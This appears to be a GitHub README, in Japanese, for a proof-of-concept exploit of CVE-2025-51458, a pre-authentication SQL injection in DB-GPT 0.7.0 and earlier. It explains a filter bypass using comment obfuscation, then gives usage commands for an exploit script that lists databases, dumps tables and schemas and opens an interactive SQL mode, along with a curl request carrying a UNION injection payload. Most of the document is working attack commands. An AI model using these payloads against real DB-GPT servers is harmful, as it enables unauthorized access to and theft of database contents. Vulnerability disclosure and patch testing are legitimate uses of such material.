q1uf3ng/cve-2025-51458-expCVE-2025-51458 - DB-GPT 認証前SQLインジェクションPoC
DB-GPT <= 0.7.0 における事前認証 SQL インジェクション
/api/v1/editor/sql/run および /api/v1/editor/chart/run エンドポイントは、認証なしで任意の SQL を受け入れます。sanitize_sql ブラックリストは DuckDB のみを対象としており、MySQL、PostgreSQL、SQLite の接続ではフィルタリングなしで生のユーザー入力を受け取ります。DuckDB のブラックリスト自体も、コメント難読化 (SEL/**/ECT) によってバイパスできます。
これは CVE-2024-10835 および CVE-2024-10901 のバイパスです。
# List databases
python3 exp.py http://target:5670 --list-dbs
# Execute SQL
python3 exp.py http://target:5670 <db_name> --sql "SELECT VERSION()"
# Dump tables
python3 exp.py http://target:5670 <db_name> --dump-tables
# Dump schema
python3 exp.py http://target:5670 <db_name> --dump-db
# DuckDB bypass
python3 exp.py http://target:5670 <db_name> --duckdb-bypass --sql "SELECT CURRENT_SETTING('access_mode')"
# Interactive mode
python3 exp.py http://target:5670 <db_name>
curl -X POST "http://target:5670/api/v1/editor/sql/run" \
-H "Content-Type: application/json" \
-d '{"db_name":"test_db","sql":"SELECT 1 UNION ALL SELECT table_name FROM information_schema.tables--"}'